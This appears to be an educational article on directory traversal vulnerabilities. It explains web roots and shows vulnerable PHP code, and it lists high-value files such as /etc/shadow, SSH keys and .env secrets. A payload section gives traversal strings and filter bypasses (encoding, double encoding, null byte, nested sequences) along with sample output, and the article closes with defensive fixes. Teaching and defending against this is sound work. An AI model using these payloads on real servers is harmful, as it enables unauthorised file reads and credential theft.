Path Traversal Explained

A directory traversal vulnerability (also called path traversal or dot-dot-slash) allows an attacker to read files on the server that sit outside the intended web root directory. If a web application uses user-supplied input to construct file paths without proper sanitisation, an attacker can manipulate that input to access arbitrary files.

The classic payload is ../ — each ../ moves one directory up in the file system. By chaining these together, an attacker can reach the system root and read files like /etc/passwd, application configuration files, or private keys. In some cases, traversal leads directly to remote code execution when it can be combined with file upload or log poisoning techniques.

How File Systems and Web Roots Work — and Why the Gap Exists

To understand directory traversal, you need a clear mental model of how web servers relate to the file system they run on. A web server is configured with a "document root" — a specific directory that it treats as the top-level location for serving files. Requests are supposed to map only to files within that directory. Everything outside it — system files, application source code, configuration files, private keys — is supposed to be invisible to the web.

The filing cabinet analogy: Imagine a company has thousands of filing cabinets throughout the building: personnel records in HR, financial records in accounting, contracts in legal, and a public-facing brochure rack in the lobby. The receptionist is authorised to hand out anything from the lobby brochure rack when visitors ask. A directory traversal vulnerability is like a receptionist who, when asked for "brochure number 5," blindly follows any path the visitor specifies. Ask for "../../../HR/personnel/employee_salaries" and the receptionist walks to the HR department and retrieves it — because they never verify that the path stays within the lobby. The access boundary exists in policy, but not in implementation.

The technical reason this happens is straightforward: operating systems resolve relative path components before the application can validate them. When the server constructs a file path like /var/www/files/ + user input, and user input contains ../../../etc/passwd, the OS resolves the combined path to /etc/passwd before the application knows what happened. The application never sees the traversal — it just sees a valid resolved path.

What Lives Outside the Web Root — The High-Value Targets

The value of a directory traversal vulnerability depends on what sensitive files are accessible from the server. Understanding the typical Linux server file system layout is essential for knowing what to reach for:

• /etc/passwd — User account list. Not passwords directly (those are in /etc/shadow which requires root), but reveals usernames, home directories, and shell paths — useful for targeted attacks.
• /etc/shadow — Hashed passwords for all system users. Readable only by root — confirming traversal to this file means the web process runs as root, which is itself a critical finding.
• /etc/nginx/nginx.conf, /etc/apache2/apache2.conf — Web server configuration. Reveals virtual host configurations, upstream proxies, authentication mechanisms, and other application endpoints.
• ~/.ssh/id_rsa — SSH private key of the web server user. If readable, grants direct SSH access to the server without a password.
• .env — Environment variables file used by many modern frameworks (Laravel, Django, Node.js). Typically contains database credentials, API keys, secret keys, and cloud provider tokens.
• Application source code — /var/www/app/config/database.php, /app/config.py — Hard-coded credentials, database connection strings, secret keys for signing tokens.
• /proc/self/environ — Process environment variables for the running web process. Often contains secrets passed as environment variables in container environments.
• /var/log/apache2/access.log — Web server access log. Useful for log poisoning attacks that combine traversal with RCE.

The Mechanics

Consider a web application that serves user-selected files like this:

https://target.com/download?file=report.pdf

The server constructs a path like: /var/www/files/report.pdf and returns the contents. Behind the scenes, the server code likely looks something like:

// Vulnerable: user input concatenated directly into path
$filename = $_GET['file'];
$path = "/var/www/files/" . $filename;
echo file_get_contents($path);
// No validation that $filename stays within /var/www/files/

If an attacker changes the parameter to a traversal sequence, the OS resolves it before the code runs:

https://target.com/download?file=../../../../etc/passwd
# Server constructs: /var/www/files/../../../../etc/passwd
# OS normalises to:   /etc/passwd
# file_get_contents reads and returns /etc/passwd contents

Web applications often try to block this by filtering ../. Attackers have developed many bypass techniques to evade these naive filters — the root problem is that filtering strings is not the same as enforcing path boundaries.

Payloads in Practice

?file=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
# www-data entry confirms web server runs as www-data — expected
# Any account with /bin/bash shell is a potential lateral movement target

?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
# %2e = .  (dot)
# %2f = /  (forward slash)
# Decodes to: ../../etc/passwd
# String filter saw: %2e%2e%2f — no match for "../" — passes
# OS receives: ../../etc/passwd — traversal executes

# Variant: encode only the slash, leave dots literal
?file=..%2f..%2fetc%2fpasswd

# Variant: encode only the dots
?file=%2e./%2e./etc/passwd

# %25 is the URL encoding of % itself
?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd
# WAF decodes once: %2e%2e%2f%2e%2e%2fetc%2fpasswd  — no "../" → passes
# App server decodes again: ../../etc/passwd → traversal executes

# Breakdown:
# %25 2e → %2e → .
# %25 2f → %2f → /

?file=../../../../etc/passwd%00.jpg
# PHP extension check: filename ends in ".jpg" → passes validation
# C-level fopen() call: string terminates at \x00 → opens /etc/passwd
# The ".jpg" suffix is never seen by the OS

# Modern PHP is not vulnerable — patched in PHP 5.3.4 (2010)
# Still relevant for: legacy apps, embedded systems, some ICS software

# Filter removes "../" once, left to right
?file=....//....//etc/passwd
# Filter removes the inner "../": ....// → ../ after removal
# Result after filtering: ../../etc/passwd → traversal executes

# Variant with backslashes (mixed OS-style):
?file=..././..././etc/passwd
# Remove "../": ././ → still traverses on some OS path resolvers

# Application code (vulnerable):
$path = filter_traversal($_GET['file']);  // removes "../"
readfile($path);                          // but accepts absolute paths!

# Payload — no traversal needed, absolute path used directly:
?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash ...

# Also try:
?file=/etc/nginx/nginx.conf     → web server config + virtual hosts
?file=/home/ubuntu/.ssh/id_rsa  → SSH private key → direct server access
?file=/var/www/html/.env        → application secrets

Traversal in Production Environments

What Path Traversal Means for Infrastructure Security

• A single traversal vulnerability is a master key. Every file readable by the web server process is exposed: configuration files, credentials, source code, private keys, log files. The scope is not limited to "some user data" — it's the entire server file system accessible to the process.
• Traversal findings often cascade. Credentials found in .env files unlock databases, cloud accounts, and third-party APIs. SSH keys found in home directories unlock direct shell access. JWT secrets found in config files unlock authentication bypasses. A single traversal exploit often yields multiple critical follow-on findings.
• Principle of least privilege limits blast radius. The web server process should run as a user with the minimum permissions needed — no access to SSH keys, no access to other users' home directories, no read access to files outside the web root. If the web process can't read /etc/shadow, traversal to it fails regardless of whether the vulnerability exists. Process isolation and file permissions are a critical compensating control.
• The correct fix is allowlist-based path validation. Filtering ../ is a blocklist approach and will always be bypassable with new encodings and techniques. The correct defence: resolve the full canonical path first using realpath() or equivalent, then verify the resolved path starts with the intended base directory. If it doesn't match, reject the request. This approach is encoding-agnostic and filter-bypass-proof.

What You Need to Know